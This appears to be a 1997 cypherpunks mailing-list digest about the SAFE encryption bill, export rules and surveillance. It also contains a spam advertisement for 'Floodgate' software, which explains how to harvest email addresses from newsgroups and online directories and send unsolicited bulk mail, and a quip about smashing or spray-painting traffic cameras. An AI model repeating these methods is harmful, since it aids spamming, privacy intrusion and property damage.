CLEARS FIRST CONGRESSIONAL HURDLE. FACES TOUGHER TEST IN COMING WEEKS. SAFE BILL IS ASSAILED BY CLINTON WHITE HOUSE BECAUSE IT PROHIBITS EXPANDED EAVESDROPPING CAPABILITIES Date: May 1, 1997 Expires June 1, 1997 URL:http://www.crypto.com/ crypto-news at panix.com Redistribution of crypto-news is allowed in its entirety. ----------------------------------------------------------------------------- Table of Contents What Just Happened What YOU CAN DO NOW! How to start or stop receiving crypto-news Press contacts ----------------------------------------------------------------------------- WHAT JUST HAPPENED On Wednesday April 30, 1997, Congress took a historic first step towards real reform of US encryption policy and promoting the availability of strong privacy protections for Internet users. The House Subcommittee on Courts and Intellectual property, by a unanimous vote, approved the Security and Freedom through Encryption (SAFE) Act (HR 695). The bill will be considered by the full House Judiciary Committee in mid-May where it is expected to face tough opposition, The SAFE bill, sponsored by Reps. Bob Goodlatee (R-VA) and Anna Eshoo (D-CA) currently has 78 congressional co-sponsors, including a majority of the House Judiciary Committee. The bill seeks to protect privacy and promote electronic commerce by liberalizing the export of privacy-enhancing encryption technology and prohibiting the the government from imposing mandatory key-escrow or key-recovery systems. The bill also contains a controversial provision which establishes new criminal penalties for the use of encryption in the furtherance of a felony. Privacy groups have expressed concern about this provision. During Wednesday's subcommittee vote, Rep. Zoe Lofgren (D-CA) pledged to work with privacy groups and the bill's sponsors to address these concerns. The Clinton Administration is unhappy with the bill, claiming it will thwart law enforcement and undermine the administration's efforts to impose a global "key-recovery" infrastructure. In an April 30 letter to the Courts and Intellectual Property Subcommittee chair Rep. Howard Coble (R-NC), the Department of Justice said: "The bill could be read as prohibiting the United States government from using appropriate incentives to support a key management infrastructure and KEY RECOVERY." [emphasis added] The Administration's "Key Recovery" program creates a backdoor in encryption that would allow third parties to eavesdrop on individual's private conversations without their permission or knowledge. Because of the Administration's opposition, the SAFE bill is expected to face a much tougher fight before the full House Judiciary Committee later this month. ---------------------------------------------------------------------------- WHAT YOU CAN DO NOW The SAFE bill (HR695) is approaching the full committee for markup. Your help is needed in calling members of the House Judiciary committee to urge them to pass legislation. This is a critical issue to the future of the Internet as a secure and trusted means of education, commerce, and political discourse, but it will not happen without your help. Please take a moment to Adopt Your Legislator and let them know that you support efforts to refrom US encryption policy in a way that protects privacy, promotes electronic commerce, and recognizes the realities of the global Internet. Visit http://www.crypto.com/adopt/ For more information about the bill, go to http://www.crypto.com/safe_bill/ ----------------------------------------------------------------------------- HOW TO START OR STOP RECEIVING CRYPTO-NEWS To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com) or send mail to majordomo at panix.com with "subscribe crypto-news" in the body of the message. To unsubscribe, send a letter to majordomo at panix.com with "unsubscribe crypto-news" in the body. Requests to unsubscribe that are sent to shabbir at vtw.org will be ignored. ----------------------------------------------------------------------------- PRESS CONTACT INFORMATION Press inquiries on Crypto-News should be directed to Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir at vtw.org Jonah Seiger (CDT) at +1.202.637.9800 or jseiger at cdt.org ----------------------------------------------------------------------------- End crypto-news ============================================================================= From das at razor.engr.sgi.com Thu May 1 19:19:32 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Fri, 2 May 1997 10:19:32 +0800 Subject: EAR questions. Message-ID: <9705011902.ZM27479@razor.engr.sgi.com> [ Didn't get much response when I posted this to cryptography at c2.net. Hope there will be more response on cypherpunks. ] I couldn't find a solid answer to the following questions, after reading relevent sections of the EAR, and talking to some people. I am looking for considered opinions, not legal advice. 1) Does a software such as the DESCHALL client or Peter Trei's DESKR program, in object code form, need a license to be exported? Keep in mind that even thought there are some cryptographic functions inside the programs, they cannot be directly used to encrypt data, nor can they be easily modified (i.e. without reverse engineering) to make data encryption possible. 2) Does the "printed matter exception" apply only to publications? Is it legal, under the EAR, for somebody in the US to print out the source code for an encryption program on paper and send it to a private party abroad (not a country in the enemies list). Does it make any difference whether this is done for monetory compensation? Does it make any difference whether the sender intends to keep the source code secret between himself and the recipient? Btw, it looks like the language about scannable encryption source code, that was in the draft regulations, have been removed. One more, general question. 3) Is it correct to say that, as long as you are not selling it to a military organization and the software is intended for civilian use, the export of encryption software is now controlled exclusively by the EAR, and not by the ITAR? I ask this because many of the people who answered "only publications" to question 2) above, could only quote the ITAR in support of their position. Thanks. -- Anil Das From shamrock at netcom.com Thu May 1 19:54:02 1997 From: shamrock at netcom.com (Lucky Green) Date: Fri, 2 May 1997 10:54:02 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" In-Reply-To: Message-ID: On Thu, 1 May 1997, Alan Davidson wrote: > Contrary to reports, the SAFE bill does not say: "Use a cipher, go to > prison." It does say: "Use cryptography TO COMMIT A CRIME, go to prison": > > 2805. Unlawful use of encryption in furtherance of a criminal act > > "Any person who willfully uses encryption in furtherance > of the commission of a criminal offense for which the > person may be prosecuted in a court of competent jurisdiction... > [may be imprisoned or fined]" What the bill punishes with five years in prison is the use of encryption in FURTHERANCE of a crime. I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday May 10, 1997 the use of encryption in furtherance of a crime using only three mouse clicks and three keystrokes. No custom scripts, macros, etc. involved. In fact, I will gladly perform the demonstration on a computer provided by the audience. That's right folks! Three mouse clicks and three keystrokes will buy you *five* years in the federal penitentiary should SAFE become law as currently written. [Since this is a controlled demo, no actual crimes will be committed. Do not try this at home! You will be breaking the law.] --Lucky From wesf at mail.utexas.edu Thu May 1 20:13:14 1997 From: wesf at mail.utexas.edu (Wesley Felter) Date: Fri, 2 May 1997 11:13:14 +0800 Subject: Layoffs at PGP Message-ID: <199705020303.XAA10083@relay1.smtp.psi.net> On 5/1/97 6:41 PM, Martin Janzen said: >Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of >the day: > > "Internet Fast-Forward is not as closely related to the tools we > develop for individuals for privacy," he said. And the fact that > Fast-Forward filters ads which are an "inimical part of some of the > ^^^^^^^^ > emerging Web commerce models ... we don't want to hinder this > development." Unless you take it to mean that banner ads are important for "emerging Web commerce models" which is what PGP doesn't want to hinder the development of, in which case I'd say that IFF is inimical indeed. Both ways, they lose. ------------------------------------------------------------------------- | Wesley Felter | Have you ever had your phone tapped | | | by the government? YOU WILL. | | wesf at mail.utexas.edu | And the company to bring it to you: | | http://adhoc.com.inter.net/ | AT&T | ------------------------------------------------------------------------- From mnorton at cavern.uark.edu Thu May 1 20:22:01 1997 From: mnorton at cavern.uark.edu (Mac Norton) Date: Fri, 2 May 1997 11:22:01 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" In-Reply-To: Message-ID: On Thu, 1 May 1997, Alan Davidson wrote: > > What SAFE does legalize is strong, non-escrow encryption in the products > that are most widely used, in almost all countries worldwide. Once > *ordinary people* have strong crypto built in to the products they use > every day, it will be much harder for governments to take it away or > restrict it. What's illegal about strong non-escrow encryption now? Why does it need to be "legalized"? And wh will it be harder to require escrow "once *ordinary people* have strong crypto"? Doesn't seem to follow necessarily, does it? > > 2. CDT Does Not Support The Criminal Provision in SAFE I don't get it. CDT loudly supports the bill. The bill contains the criminal provision. I don't get it. Do you? MacN From manager at gte.net Fri May 2 11:37:19 1997 From: manager at gte.net (manager at gte.net) Date: Fri, 2 May 1997 11:37:19 -0700 (PDT) Subject: Bulk Emailing !! Message-ID: MARKETING WITH DIRECT EMAIL / BULK EMAIL SERVICES NOW WITH "STEALTH" EMAIL PROGRAM AND NEWSGROUP EMAIL "ADDRESS GRABBER" I operate a custom email service. From my experience, your typical bulk email service just collects email addresses from any source they can rely on shear volume emailing to produce the desired results - the "shotgun" approach. I have found that by targeting emails to groups that would likely be specifically interested in your product, the response rate is much better than when using the "shotgun" approach AND you don't tend to annoy as many people (which is nice for both sides). By targeting emails, I mean that I collect the addresses myself from on-line areas (forums, newsgroups, etc.) so that I mail to people that are likely to be interested in my products based on their on-line participation. FLOODGATE is the renegade technology that helps me do this. This is the same software that all bulk emailing services use! ------------------------------------------------------------------ Floodgate Bulk Email Loader for Windows Version 5.02 now Supports 17 (really more with the free form filter) File Formats ------------------------------------------------------------------ SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY! Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need. If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone. Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month. It takes me about one hour to send my marketing letter to 20,000 fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate. It's a bulk email loader. If you're interested in electronic marketing, you should know about this program. THE PROGRAM: FLOODGATE FOR WINDOWS The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses. Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click. You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING! NEW! PREPARE A MAILING OF 50,000+ IN LESS THAN A 1/2 HOUR If you open an Internet account, you can send each letter to 2,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour. (To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.) The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple! FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But,like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it. About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale. The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!! THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 15+ FILE FORMATS 1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business. 2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales. 3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes. 4. America On-line Forums: Choose from dozens of forums. All good targeted lists. 5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists. 6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour. 7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all member directories. Build huge targeted lists. 8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour. 9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses. 10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories. 11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive. 12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for. 13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+ addresses. 14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie. 15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase. Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together. BUILD REUSABLE MASTER FILES Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows. You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List. THE REMOVE LIST Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism possible. DON'T BE FOOLED We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER....... **Floodgate is a mature, bug free product. Not an initial release. **Floodgate comes with over 100 pages of step by step documentation. **Floodgate is the only one offering a money back guarantee. **Floodgate has more testimonials. **Filter for filter, Floodgate offers more capabilities, way more. **Floodgate does everything all the others *combined* claim. **Floodgate is by far the easiest to use. **There is NO *cutting and pasting* with Floodgate. **We have by far, the best technical support. SOME QUICK MATH Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math: - Email 50,000 sales letters (takes about 1-2 hours) - Let's say your product will bring you $5 profit per sale. - Let's also say you only get a 1% response (occasionally higher). * That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !! WHAT CAN I MARKET ON-LINE? You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line. EASY TO INSTALL AND EASY TO LEARN The Floodgate Email Loader requires Windows. The docs tell you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from computer savvy friends. Floodgate has previously sold for as much as $2,499! The complete package is now available for just $499.95, postpaid. If you order within 72 hours, it can be your for only $349.95!! (Must be verified on out autoresponder log, by received email time stamp, fax time stamp, or voice message time stamp). These orders will also receive lifetime technical support and FREE OVERNIGHT SHIPPING (once your check has cleared the bank). Some say Floodgate is expensive. Compared to direct mail, where you pay for mailing lists, printing and postage, Floodgate is a bargain. For the cost of one traditional mailing, you'll own a Floodgate license and never again pay for lists, printing or postage. Those who know direct mail will agree, "Floodgate is the best advertising value on the Internet today!" MONEY BACK GUARANTEE: Try the Floodgate Bulk Email Loader for 10 days. Do a test mailing. If you're not delighted, return the package for a full refund. All Floodgate users receive unlimited technical and business support for 30 days, (and if you don't take up a lot of my time, for a lot longer.) To order the FLOODGATE Bulk Email Loader, send your check or money order for $349.95 within 72 hours from receiving this email letter to: Dave Mustachi P.O. Box 772261 Coral Springs, FL 33077 (954) 341-2924 You can receive a functional demo version of Floodgate by simply faxing us a short note with your email address to 1-954-255-3713. SYSTEM REQUIREMENTS 386 or larger Windows 3.1+ with at least 4 meg ram or Windows 95 with 8 meg ram Extra 5 MB hard drive space Floodgate can be run on a fast Mac with 24 MB RAM and SoftWindows. NOTES FROM FLOODGATE USERS "It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital. "After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems "My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior "Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD "I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections "This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group "I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications "I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS "Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL "I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ "It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates ------------------------------------------------------------------ FLOODGATE ORDER FORM: Please print out this order form and then fill in the blanks...... ______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE package now! ______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE package at a substantial discount! I am ordering the software for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95) ______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support. ______I am ordering within 72 hours and I want FREE overnight shipping! ______I am ordering within 72 hours and I want 25,000 FREE email addresses to get me started earning money with my marketing letter. YOUR NAME_________________________________________________________ COMPANY NAME_____________________________________________________ YOUR POSITION______________________________________________________ STREET ADDRESS_____________________________________________________ CITY, STATE, ZIP______________________________________________________ PHONE NUMBERS______________________________________________________ FAX NUMBERS_________________________________________________________ EMAIL ADDRESSES_____________________________________________________ We accept Checks or Money Orders by mail. I agree to pay WebAware an additional $27 fee if my check is returned for insufficient or uncollectable funds. SIGNATURE: X_________________________________DATE:__________________ Please send all order forms and check or money order to payable to: Dave Mustachi P.O. Box 772261 Coral Springs, FL 33077 (954) 341-2924 *********************************************************************************************** OR: PLEASE PASTE YOUR CHECK HERE (If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us) Please fax the above order form and check to: 1-954-255-3713. From stewarts at ix.netcom.com Thu May 1 21:25:42 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 2 May 1997 12:25:42 +0800 Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com> Message-ID: <3.0.1.32.19970501203644.00652d30@popd.ix.netcom.com> At 08:46 AM 5/1/97 -0700, you wrote: >This is fine for red-light-running. I'm just worried about the day when >the cameras have an effect on people's behavior with respect to >what they say, whom they associate with, >the clothes they wear, the thoughts they think... > >How do you hack a camera? The traditional solution, which happened to a number of early photo-radar cameras, involves a ski-mask and a baseball bat; more subtle approaches rely on spray-paint, which does less damage to the expensive equipment, but spray paint is a Controlled Substance in many cities.... Other approaches, for the video-surveillance types of cameras, are to always use appropriate gestures when you're near the things. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From tcmay at got.net Thu May 1 21:33:26 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 12:33:26 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" In-Reply-To: Message-ID: At 6:42 PM -0800 5/1/97, Lucky Green wrote: >What the bill punishes with five years in prison is the use of encryption >in FURTHERANCE of a crime. > >I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday >May 10, 1997 the use of encryption in furtherance of a crime using only >three mouse clicks and three keystrokes. No custom scripts, macros, etc. >involved. In fact, I will gladly perform the demonstration on a computer >provided by the audience. > >That's right folks! Three mouse clicks and three keystrokes will buy you >*five* years in the federal penitentiary should SAFE become law as >currently written. > >[Since this is a controlled demo, no actual crimes will be committed. Do >not try this at home! You will be breaking the law.] I'm looking forward to this demo! Hell, maybe I'll volunteer to actually commit whatever crime is being furthered! The language of SAFE would directly impinge on use of anonymous, chained remailers for many uses. Some use remailers to harass others, a crime in many jurisdictions. Some use it to post or transfer so-called "child porn," a crime in some jurisdictions. (But, I assure you, our local community--implicated in the Salinas so-called "porn ring," use PGP to protect themselves from finks. Under SAFE, these neighbors of mine could be hit with heavier penalties for using crypto in furtherance of their crimes than the supposed crimes involve!) Let's call a spade a spade...cryptography, anonymity, and untraceable digital cash will be used often for criminal purposes. So what else is knew? By the way, speaking of digital cash, think about the obvious implications of the SAFE provisions for untraceable digital cash. Talk about a chilling effect. --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Thu May 1 21:50:41 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 2 May 1997 12:50:41 +0800 Subject: But thank God we live in Amerika... Message-ID: <199705020430.VAA16639@fat.doobie.com> An Average Citizen wrote: > Just guess what the fine is for not having 2" high > numbers on my mailbox. > $1000/20days in jail. Must be a fucking felony. Gee, and when Tim May said he was a felon, then I thought maybe he was murdering children, or something. Actually, maybe Tim *is* murdering children, but the authorities are leaving him alone because the numbers on his mailbox (written in the blood of children) are 2" high, leading them to believe that he is a model citizen. If Orwell had put a reference to a law such as this, with severe penalities for illegal-sized mailbox numbers in his work, "1984", he would have been laughed at as an unrealistic lunatic. (Not that he wasn't, anyway.) Around the world, conspiracy theorists and psycho-thriller writers are starving to death because they can't compete with reality and the nightly news. Me? I used to be an activist, now I'm just another guy/gal taking violin lessons from Nero. (We meet Tuesdays at Motel 6. Come on by, we'll leave a light-bulb joke on for you.) FiddleMonger From nobody at huge.cajones.com Thu May 1 21:53:15 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 2 May 1997 12:53:15 +0800 Subject: Paul Bradley is too paranoid. Message-ID: <199705020432.VAA16658@fat.doobie.com> Paul Bradley wrote: > One cannot now go out of ones own house without being monitored, and for > those of us who are known heretics maybe even that is not true. > > Paul "Rapidly becoming a hermit in the name of privacy" Bradley Paul, Quit picking at your face, and clean up that mess in the kitchen. Not that I'm monitoring you... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Thu May 1 21:54:52 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 2 May 1997 12:54:52 +0800 Subject: SAFE Bill / Fuck You (an inch at a time) Message-ID: <199705020430.VAA16643@fat.doobie.com> Jonah Seiger wrote: > However, despite our concerns about the criminal provisions, we believe > strongly that the SAFE bill, and the bills in the Senate sponsored by Burns > and Leahy, are vitally important and should be passed. When is the last time you saw a Volvo ad that said: "It's the safest car on the road, unless you corner too fast." Or a Chrysler ad that said: "Our air bags will provide you with complete protection, although they may kill your children." When Ford had a problem with Pinto gas tanks exploding on impact, and Richard Pryor set himself on fire, freebasing, I started selling T-shirts in Austin, Texas, saying: "I'd rather freebase than drive a Pinto." Ford Motor Company sent TWO legal eagles down from Ford Country, to exhort me to cease and desist. Car companies have better sense than to broach these subjects, even when they are truthful, because they know that the citizens won't put up with it. If they have a problem, they deny and avoid it--totally. They know that the citizens will *vote* with their wallets. Government, on the other hand, has so totally snowed the citizens that they no longer even bother, in many cases, with the pretension of providing us with a product of superb quality. Instead, we get: "Our product/legislation has a few flaws, but hell, it's better than nothing at all." or, "I'm supporting this legislation because it will get me elected in my district. So what if it fucks a few dirt-farmers halfway across the country?" or, "We already have dozens of laws covering this issue, but its a current hot-topic, so we'll pass another one, and add a few dozen items for special-interests groups which fuck a variety of citizens in the ass, but which we can still justify as being 'for the greater good.'" I mean, let's get real, here. We put up with crap from our government that we wouldn't accept from someone trying to sell us a mouthwash. The reason that we're not all drinking the "New Coke" is that D.C. has siphoned off all of the spin doctors/brainwashers from the corporate advertising industry. I'll lay you even money that, given sufficient funding, I could be elected as the next President of the U.S. using slogans like: "I promise to only fuck you a little bit at a time." and, "As your President, I will move us more slowly towards a total Police State." Why do we put up with blatantly "flawed" legislation, when we wouldn't put up with the same thing in a consumer product? It is because corporations fear the consumers, to a certain extent, but government has no fear of the citizens, for the most part. The government used to fear the Press, at least marginally, but they now have them in their back pocket, so the Press no longer has the power to serve as an element of protection/information for the citizenry. So the government can pass legislation which gives us rights which we already have, without it, and cut off another inch or two of our freedom/privacy at the same time. And, in the process, we will hear, from both the government and the Press, about the virtues of "compromise." THE ONLY THING BEING "COMPROMISED" IS THE CITIZEN, THE BILL OF RIGHTS, FREEDOM & PRIVACY. An inch at a time. Slowly but inexorably. It's called "compromise." It's called "reality." It's called "you scratch my back and I'll scratch yours." Of course, when its done all at once, then it's called dictatorship, and fascism. That's why we don't do it "all at once" here. Because this is a "free country." So we just do it an inch at a time. And then another inch. And then another... Personal aside, to Mr. T.C. May: "We'll drop the felony charges of 'using encryption in the commission of a crime' if you will plead guilty to the 'jaywalking' charges." (You never should have encrypted that letter to your mom, Tim, and put the floppy in your pocket. Sure, you can fight the jaywalking charges, if you're willing to risk 20 years in prison on the felony encryption charges.) TruthFelon From lucifer at dhp.com Thu May 1 22:04:57 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 2 May 1997 13:04:57 +0800 Subject: Privacy news: Oakland Cameras, Levi employee files, Message-ID: <199705020433.AAA21400@dhp.com> geeman wrote: > Brief radio piece on the red-light cameras in S.F. --- red-light running > appears > to be down at the 4 intersections where cameras are installed; some > well-placed official was > quoted as saying "The cameras are definitely having an effect on people's > behavior." Yes, a > Good Thing. They are continuing to move forward with plans to install more > cameras. > > This is fine for red-light-running. I'm just worried about the day when > the cameras > have an effect on people's behavior with respect to what they say, whom > they associate with, > the clothes they wear, the thoughts they think... They have also installed hidden cameras in geeman's home. This is fine for monitoring geeman. I'm just worried about the day when the cameras are put in my own home. TruthMonitor From stewarts at ix.netcom.com Thu May 1 22:26:28 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 2 May 1997 13:26:28 +0800 Subject: Fingerprint Stego In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com> Message-ID: <3.0.1.32.19970501221524.00680708@popd.ix.netcom.com> >|It seems the INS and FBI are unwilling to grant US citizenship to >|persons without legible fingerprints. .. >Does this mean that, ipso facto (I love it), physically challenged >individuals with missing or deformed hands are excluded regardless of other >qualifications? What a monstrosity of a rule! Or at least that some individual thugs working for La Migra think so. If your real fingerprints are , then those are your real fingerprints - and if the Thugs don't like it, fire them. >Was this carried over the wire? AP? (Hey, we weren't talking about Jim Bell here. Maybe we should?:-) >|"This is not something we take lightly," said INS spokesperson >|Irene Mortensen. "We can't just arbitrarily give out citizenship >|to just anyone." ... >Is it not possible to retroactively _remove_ the citizenship of such an >arrogant bureaucrat to test whether she could make the grade imposed on the >rest of the world's "refuse?" Only for treason; this may qualify. While the Constitution does give Congress authority to set procedures for naturalizing immigrants, it doesn't give them an option about _whether_ to do it. Just how. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Thu May 1 22:29:58 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 2 May 1997 13:29:58 +0800 Subject: Bombs Away, from The Netly News Network In-Reply-To: Message-ID: <3.0.1.32.19970501220814.002ed6f8@popd.ix.netcom.com> At 11:54 AM 5/1/97 -0400, Declan McCullagh wrote: >The Clinton administration escalated >its assault on the Net this week, warning that it >provides bomb-making recipes to anyone "with a modem" >and proposing a new law to restrict such information.* ... >"A member of the DoJ committee accessed a single web site >on the World Wide Web and obtained the titles of 110 >different bomb-making texts." OH, NO*!!! THERE ARE BOOKSTORES ON THE NET!!!! WITH BANNED BOOKS IN THEM!!!! OH, NO!!!! [*Please excuse the shouting, I'm quoting FBI officials here :-] The obvious bookstores to look at, if you want to freak the mundanes, are http://www.loompanics.com/ and http://www.paladin-press.com/ Yer basic Whole Extremist Catalogs. Of course, if you _really_ want to find books on explosives, you'll need to wait until the Library of CONgress is on line, or the U.S.Army Field Manuals. If you can't find explosives on the net, AltaVista's not doing its job. My favorite net explosives site is the Hagley Museum in Wilmington Delaware, about 105 miles from Declan's location in the Heart of Darkness. It's the old duPont Gunpowder Mills, and was a popular field trip for elementary school students when I was growing up. We'd learn how to make gunpowder, and learn about workplace safety and colonial industry, and watch the ducks and geese on the Brandywine River (Is it still legal to mention the name of a river named after Alcoholic Beverages on the net? They also farmed tobacco near there!) Pictures of Munitions Preparation Equipment are on the Dangerous Internet at http://www.hagley.lib.de.us/wheel.gif [*During a previous call for censorship of bombs and bad language on the net, I received email from a number of Senators, including Feinstein, containing obscenity and terrorism instructions. Don't remember if Biden replied. Email autoresponders can be fun.] # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this 